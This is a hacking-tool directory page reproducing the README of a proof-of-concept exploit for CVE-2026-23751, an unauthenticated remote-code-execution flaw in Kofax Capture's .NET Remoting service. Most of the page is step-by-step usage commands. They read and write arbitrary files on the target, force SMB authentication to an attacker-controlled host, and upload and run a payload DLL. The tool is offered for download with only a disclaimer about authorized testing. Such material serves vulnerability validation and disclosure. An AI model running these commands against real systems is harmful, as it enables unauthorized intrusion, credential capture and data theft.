Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-23751-poc — Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write, Remote Code Execution and SMB coercion via .NET HTTP Remoting) | Kitploit
ツール/GitHubGitHub/siebrum/cve-2026-23751-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubsiebrum/cve-2026-23751-poc

CVE-2026-23751-poc

Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write, Remote Code Execution and SMB coercion via .NET HTTP Remoting)

リポジトリを見る
420日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
要求された言語のコンテンツは利用できません。英語版を表示しています。

CVE-2026-23751-PoC

Proof-of-concept implementation of the .NET HTTP Remoting technique described in Code White's NewRemotingTricks, targeting Tungsten Automation Kofax Capture.

CVE-2026-23751

Title: Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET HTTP Remoting

CVE: CVE-2026-23751

Authors of this PoC (not the CVE): Filip Sanders, Siebren Kraak

Description

CVE-2026-23751 affects Tungsten Automation Kofax Capture and allows an unauthenticated remote attacker to interact with a .NET HTTP Remoting endpoint exposed by the Kofax Capture ACService.

The vulnerability can be abused to perform operations in the security context of the Kofax Capture service, including:

  • Unauthenticated arbitrary file reads
  • Unauthenticated arbitrary file writes
  • SMB authentication coercion
  • Access to local files accessible to the Kofax Capture service
  • Access to remote files through UNC paths
  • Remote command execution

The PoC reimplements the relevant .NET Remoting technique from Code White's project.

NewRemotingTricks

Affected Endpoint

The PoC targets the Kofax Capture ACService HTTP Remoting endpoint:

root@kitploit:~
http://<target>:2424/ACService

Port 2424 is the default HTTP Remoting port used by the affected service.

Usage

The PoC supports three operations:

root@kitploit:~
read
write
exec

The general syntax is:

root@kitploit:~
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]

Read a local file

The following example reads the Windows hosts file from the target:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts

A Kofax Capture configuration file can similarly be read:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml

Remote resources can also be accessed using a file:// URI:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt

The contents returned by the remote WebClient are written to standard output.

Write a local file

A file can be written to a location accessible by the Kofax Capture service by supplying the target path followed by the content:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld

The supplied content is encoded as UTF-8 and uploaded using the remotely instantiated WebClient.

Write to a remote SMB share

The same functionality can be used with a UNC path to write to a remote SMB share:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld

The ability to access the remote resource depends on the permissions and security context of the Kofax Capture service.

SMB coercion

The read operation can be used with a remote file:// resource to cause the target to access an attacker-controlled SMB resource:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt

This can cause the affected host to authenticate to the attacker-controlled SMB server, depending on the target environment and its security configuration.

Command execution

The exec operation can be used to execute a supplied .NET assembly in the context of the remote Kofax Capture service.

The assembly is first uploaded to the target and then loaded using a remotely instantiated AssemblyInstaller:

root@kitploit:~
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll

The supplied path is used as the destination for the uploaded assembly and subsequently passed to the remote AssemblyInstaller. The assembly is loaded server-side and installed through the .NET Framework installation mechanism.

After execution, the PoC reads the execution output from:

root@kitploit:~
C:\Windows\Temp\pwn_out.txt

The exact behavior of the payload depends on the contents of Payload.dll.

Technical Background

The vulnerability involves the use of .NET HTTP Remoting by Kofax Capture's ACService.

.NET Remoting provides mechanisms for communicating with remote MarshalByRefObject instances. By interacting with the exposed remoting endpoint and manipulating the logical call context, the PoC can obtain remote instances of .NET Framework classes that inherit from MarshalByRefObject.

The PoC uses this behavior to obtain remote instances of:

root@kitploit:~
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller

A remotely instantiated WebClient can then be used to perform file-system and network operations from the context of the Kofax Capture service.

For command execution, the PoC uploads Payload.dll using the remote WebClient, obtains a remote AssemblyInstaller, sets its assembly path, and invokes the installation mechanism. This causes the supplied assembly to be loaded and executed on the target.

The PoC therefore demonstrates the following primitives:

  • Remote instantiation of MarshalByRefObject instances
  • Arbitrary file reads
  • Arbitrary file writes
  • Access to UNC/SMB resources
  • SMB authentication coercion
  • Loading and execution of a supplied .NET assembly

The write functionality currently operates on UTF-8 encoded string data. Additional file types and payload formats can be supported by modifying the source code.

Requirements

  • Windows
  • .NET Framework
  • Network access to the target's Kofax Capture ACService
  • Kofax Capture instance exposing the affected HTTP Remoting endpoint
  • RemotingClient_MBRO_Lazy.exe
  • Payload.dll when using the exec operation

No authentication to the Kofax Capture service is required for exploitation.

Project Structure

root@kitploit:~
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│   └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│   └── Shared.dll
├── Payload/
│   └── Payload.dll
└── README.md

References

  • CVE-2026-23751 — Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET HTTP Remoting
  • Code White — NewRemotingTricks

Authors

Filip Sanders

Siebren Kraak

Disclaimer

This repository is provided for security research, vulnerability validation, and authorized penetration testing purposes only.

Do not use this PoC against systems without explicit authorization. The authors are not responsible for damage, data loss, unauthorized access, or other consequences resulting from misuse of this software.

ツールをダウンロード